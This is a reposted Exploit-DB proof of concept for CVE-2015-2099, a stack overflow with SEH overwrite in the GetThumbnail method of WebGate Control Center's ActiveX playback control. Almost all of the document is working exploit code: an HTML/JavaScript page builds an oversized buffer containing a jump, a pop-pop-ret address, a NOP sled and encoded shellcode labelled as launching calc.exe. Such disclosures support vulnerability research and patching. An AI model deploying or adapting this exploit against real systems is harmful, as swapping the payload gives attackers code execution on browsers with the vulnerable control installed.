WebGate Control Center 4.8.7 GetThumbnail Stack Overflow

KhiZaRix · March 27, 2015

<html>

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Author: Praveen Darshanam

Security Unplugged !!!

# Exploit Title: WebGate Control Center GetThumbnail Stack Overflow SEH Overwrite (0Day)

# Date: 27th March, 2015

# Vendor Homepage: WEBGATE | HD-CCTV solution provider

# Software Link: Software | HD DVR, HD camera, SD DVR, IP camera, storage, management software - WEBGATE

# Version: Control Center 4.8.7

# Tested on: Windows XP SP3 using IE/6/7/8

# CVE : 2015-2099

targetFile = "C:\WINDOWS\system32\WESPSDK\WESPPlayback.dll"

prototype = "Sub GetThumbnail ( ByVal SiteSerialNumber As String , ByVal Channel As Integer , ByVal secTime As Long , ByVal miliTime As Integer )"

progid = "WESPPLAYBACKLib.WESPPlaybackCtrl"

-->

</object>

var buff1 = "";

var arg2=1;

var arg3=1;

var arg4=1;

var nops = "";

var buff2 = "";

for (i=0;i<24; i++)

{

buff1 += "B";

}

// jump over seh to shellcode

nseh = "\xeb\x08PD";

// pop pop ret

var seh = "\xa0\xf2\x07\x10";

for (i=0;i<80; i++)

{

nops += "\x90";

}

//calc.exe payload

sc = "\x54\x5d\xda\xc9\xd9\x75\xf4\x59\x49\x49\x49\x49\x49" +

"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30" +

"\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30" +

"\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42" +

"\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a" +

"\x49\x4b\x4c\x5a\x48\x4b\x32\x45\x50\x55\x50\x43\x30" +

"\x53\x50\x4b\x39\x4d\x35\x30\x31\x4f\x30\x52\x44\x4c" +

"\x4b\x56\x30\x46\x50\x4c\x4b\x31\x42\x34\x4c\x4c\x4b" +

"\x31\x42\x44\x54\x4c\x4b\x32\x52\x47\x58\x54\x4f\x38" +

"\x37\x50\x4a\x37\x56\x46\x51\x4b\x4f\x4e\x4c\x57\x4c" +

"\x35\x31\x33\x4c\x33\x32\x46\x4c\x37\x50\x49\x51\x48" +

"\x4f\x34\x4d\x45\x51\x4f\x37\x4d\x32\x4a\x52\x36\x32" +

"\x46\x37\x4c\x4b\x36\x32\x32\x30\x4c\x4b\x30\x4a\x37" +

"\x4c\x4c\x4b\x30\x4c\x32\x31\x54\x38\x5a\x43\x51\x58" +

"\x33\x31\x4e\x31\x30\x51\x4c\x4b\x36\x39\x47\x50\x53" +

"\x31\x48\x53\x4c\x4b\x30\x49\x35\x48\x5a\x43\x36\x5a" +

"\x57\x39\x4c\x4b\x46\x54\x4c\x4b\x33\x31\x49\x46\x56" +

"\x51\x4b\x4f\x4e\x4c\x49\x51\x38\x4f\x54\x4d\x35\x51" +

"\x58\x47\x37\x48\x4d\x30\x34\x35\x4a\x56\x43\x33\x43" +

"\x4d\x5a\x58\x37\x4b\x43\x4d\x46\x44\x43\x45\x4d\x34" +

"\x56\x38\x4c\x4b\x56\x38\x31\x34\x43\x31\x4e\x33\x42" +

"\x46\x4c\x4b\x44\x4c\x30\x4b\x4c\x4b\x36\x38\x45\x4c" +

"\x45\x51\x4e\x33\x4c\x4b\x54\x44\x4c\x4b\x33\x31\x48" +

"\x50\x4c\x49\x57\x34\x36\x44\x51\x34\x51\x4b\x51\x4b" +

"\x33\x51\x30\x59\x50\x5a\x36\x31\x4b\x4f\x4b\x50\x31" +

"\x4f\x51\x4f\x51\x4a\x4c\x4b\x42\x32\x5a\x4b\x4c\x4d" +

"\x31\x4d\x53\x5a\x35\x51\x4c\x4d\x4c\x45\x58\x32\x43" +

"\x30\x53\x30\x55\x50\x56\x30\x42\x48\x50\x31\x4c\x4b" +

"\x42\x4f\x4d\x57\x4b\x4f\x59\x45\x4f\x4b\x5a\x50\x48" +

"\x35\x4f\x52\x30\x56\x53\x58\x4e\x46\x5a\x35\x4f\x4d" +

"\x4d\x4d\x4b\x4f\x38\x55\x47\x4c\x53\x36\x33\x4c\x45" +

"\x5a\x4b\x30\x4b\x4b\x4b\x50\x43\x45\x43\x35\x4f\x4b" +

"\x47\x37\x32\x33\x53\x42\x42\x4f\x42\x4a\x55\x50\x46" +

"\x33\x4b\x4f\x49\x45\x43\x53\x53\x51\x52\x4c\x52\x43" +

"\x36\x4e\x55\x35\x44\x38\x33\x55\x33\x30\x41\x41";

for (i=0;i<(5000-(buff1.length + nseh.length + seh.length + nops.length + sc.length)); i++)

{

buff2 += "A";

}

fbuff = buff1 + nseh + seh + nops + sc + buff2;

getthumb.GetThumbnail(fbuff ,arg2 ,arg3 ,arg4);

</script>

</html>

Source: http://www.exploit-db.com/exploits/36518/

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